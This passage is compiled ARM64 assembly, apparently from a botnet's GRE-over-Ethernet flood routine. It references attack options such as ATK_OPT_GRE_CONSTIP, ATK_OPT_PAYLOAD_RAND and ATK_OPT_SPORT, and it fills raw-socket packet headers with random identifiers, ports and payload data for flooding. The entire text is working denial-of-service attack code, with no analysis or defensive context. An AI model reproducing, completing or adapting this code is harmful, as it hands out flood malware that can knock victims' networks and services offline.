	str	w8, [sp, #92]
	cmp	w8, w9
	b.ge	LBB0_14
LBB0_19:                                ;   Parent Loop BB0_16 Depth=1
                                        ; =>  This Inner Loop Header: Depth=2
	ldr	x9, [sp, #72]                   ; 8-byte Folded Reload
	ldr	x22, [x9, w8, sxtw #3]
	smaddl	x9, w8, w24, x19
	ldr	w9, [x9, #4]
	cmp	w9, #31
	b.gt	LBB0_21
; %bb.20:                               ;   in Loop: Header=BB0_19 Depth=2
	sxtw	x8, w8
	mul	x8, x8, x24
	ldr	w0, [x19, x8]
	bl	_ntohl
	mov	x23, x0
	bl	_rand_next
	ldrsw	x8, [sp, #92]
	madd	x8, x8, x24, x19
	ldr	w8, [x8, #4]
	asr	w8, w0, w8
	add	x0, x23, w8, sxtw
	bl	_htonl
	str	w0, [x22, #24]
LBB0_21:                                ;   in Loop: Header=BB0_19 Depth=2
	cmn	w28, #1
	b.ne	LBB0_23
; %bb.22:                               ;   in Loop: Header=BB0_19 Depth=2
	bl	_rand_next
	str	w0, [x22, #20]
LBB0_23:                                ;   in Loop: Header=BB0_19 Depth=2
	ldr	x8, [sp, #80]                   ; 8-byte Folded Reload
	cmp	w8, w27
	b.ne	LBB0_25
; %bb.24:                               ;   in Loop: Header=BB0_19 Depth=2
	bl	_rand_next
	and	w8, w0, #0xffff
	str	w8, [x22, #12]
	mov	w9, #999
	sub	w8, w9, w8
	str	w8, [x22, #84]
LBB0_25:                                ;   in Loop: Header=BB0_19 Depth=2
	add	x23, x22, #136
	ldr	x8, [sp, #64]                   ; 8-byte Folded Reload
	cmp	w8, w27
	b.ne	LBB0_27
; %bb.26:                               ;   in Loop: Header=BB0_19 Depth=2
	bl	_rand_next
	and	w8, w0, #0xffff
	str	w8, [x23]
LBB0_27:                                ;   in Loop: Header=BB0_19 Depth=2
	ldr	x8, [sp, #56]                   ; 8-byte Folded Reload
	cmp	w8, w27
	b.ne	LBB0_29
; %bb.28:                               ;   in Loop: Header=BB0_19 Depth=2
	bl	_rand_next
	and	w8, w0, #0xffff
	str	w8, [x22, #140]
LBB0_29:                                ;   in Loop: Header=BB0_19 Depth=2
	ldr	x8, [sp, #48]                   ; 8-byte Folded Reload
	cbz	x8, LBB0_31
; %bb.30:                               ;   in Loop: Header=BB0_19 Depth=2
	ldr	w0, [x22, #24]
	b	LBB0_32
LBB0_31:                                ;   in Loop: Header=BB0_19 Depth=2
	bl	_rand_next
LBB0_32:                                ;   in Loop: Header=BB0_19 Depth=2
	str	w0, [x22, #96]
	ldr	x8, [sp, #40]                   ; 8-byte Folded Reload
	cbz	x8, LBB0_18
; %bb.33:                               ;   in Loop: Header=BB0_19 Depth=2
	add	x0, x22, #160
	ldr	x1, [sp, #32]                   ; 8-byte Folded Reload
                                        ; kill: def $w1 killed $w1 killed $x1
	bl	_rand_str
	b	LBB0_18
LBB0_34:
	mov	x0, x25
	bl	_close
LBB0_35:
	ldp	x29, x30, [sp, #192]            ; 16-byte Folded Reload
	ldp	x20, x19, [sp, #176]            ; 16-byte Folded Reload
	ldp	x22, x21, [sp, #160]            ; 16-byte Folded Reload
	ldp	x24, x23, [sp, #144]            ; 16-byte Folded Reload
	ldp	x26, x25, [sp, #128]            ; 16-byte Folded Reload
	ldp	x28, x27, [sp, #112]            ; 16-byte Folded Reload
	ldp	d9, d8, [sp, #96]               ; 16-byte Folded Reload
	add	sp, sp, #208
	ret
	.loh AdrpLdrGotLdr	Lloh44, Lloh45, Lloh46
	.loh AdrpLdrGotLdr	Lloh41, Lloh42, Lloh43
	.loh AdrpLdrGotLdr	Lloh38, Lloh39, Lloh40
	.loh AdrpLdrGotLdr	Lloh35, Lloh36, Lloh37
	.loh AdrpLdrGotLdr	Lloh32, Lloh33, Lloh34
	.loh AdrpLdrGotLdr	Lloh29, Lloh30, Lloh31
	.loh AdrpLdrGotLdr	Lloh26, Lloh27, Lloh28
	.loh AdrpLdrGotLdr	Lloh23, Lloh24, Lloh25
	.loh AdrpLdrGotLdr	Lloh20, Lloh21, Lloh22
	.loh AdrpLdrGotLdr	Lloh17, Lloh18, Lloh19
	.loh AdrpLdrGotLdr	Lloh14, Lloh15, Lloh16
	.loh AdrpLdrGot	Lloh12, Lloh13
	.loh AdrpLdrGotLdr	Lloh9, Lloh10, Lloh11
	.loh AdrpLdrGotLdr	Lloh6, Lloh7, Lloh8
	.loh AdrpLdrGotLdr	Lloh3, Lloh4, Lloh5
	.loh AdrpLdrGotLdr	Lloh0, Lloh1, Lloh2
	.loh AdrpLdrGotLdr	Lloh50, Lloh51, Lloh52
	.loh AdrpLdrGotLdr	Lloh47, Lloh48, Lloh49
	.loh AdrpLdrGot	Lloh57, Lloh58
	.loh AdrpLdrGot	Lloh55, Lloh56
	.loh AdrpLdr	Lloh53, Lloh54
	.loh AdrpLdrGotLdr	Lloh59, Lloh60, Lloh61
	.loh AdrpLdrGotLdr	Lloh62, Lloh63, Lloh64
	.loh AdrpLdrGotLdr	Lloh65, Lloh66, Lloh67
	.loh AdrpLdrGotLdr	Lloh71, Lloh72, Lloh73
	.loh AdrpLdrGotLdr	Lloh68, Lloh69, Lloh70
	.cfi_endproc
                                        ; -- End function
	.comm	_ATK_OPT_IP_TOS,4,2             ; @ATK_OPT_IP_TOS
	.comm	_ATK_OPT_IP_IDENT,4,2           ; @ATK_OPT_IP_IDENT
	.comm	_ATK_OPT_IP_TTL,4,2             ; @ATK_OPT_IP_TTL
	.comm	_ATK_OPT_IP_DF,4,2              ; @ATK_OPT_IP_DF
	.comm	_TRUE,4,2                       ; @TRUE
	.comm	_ATK_OPT_SPORT,4,2              ; @ATK_OPT_SPORT
	.comm	_ATK_OPT_DPORT,4,2              ; @ATK_OPT_DPORT
	.comm	_ATK_OPT_PAYLOAD_SIZE,4,2       ; @ATK_OPT_PAYLOAD_SIZE
	.comm	_ATK_OPT_PAYLOAD_RAND,4,2       ; @ATK_OPT_PAYLOAD_RAND
	.comm	_ATK_OPT_GRE_CONSTIP,4,2        ; @ATK_OPT_GRE_CONSTIP
	.comm	_FALSE,4,2                      ; @FALSE
	.comm	_ATK_OPT_SOURCE,4,2             ; @ATK_OPT_SOURCE
	.comm	_LOCAL_ADDR,4,2                 ; @LOCAL_ADDR
	.comm	_AF_INET,4,2                    ; @AF_INET
	.comm	_SOCK_RAW,4,2                   ; @SOCK_RAW
	.comm	_IPPROTO_TCP,4,2                ; @IPPROTO_TCP
	.comm	_IPPROTO_IP,4,2                 ; @IPPROTO_IP
	.comm	_IP_HDRINCL,4,2                 ; @IP_HDRINCL
	.comm	_IPPROTO_GRE,4,2                ; @IPPROTO_GRE
	.comm	_ETH_P_IP,4,2                   ; @ETH_P_IP
	.comm	_IPPROTO_UDP,4,2                ; @IPPROTO_UDP
	.comm	_MSG_NOSIGNAL,4,2               ; @MSG_NOSIGNAL
	.comm	_errno,8,3                      ; @errno
.subsections_via_symbols
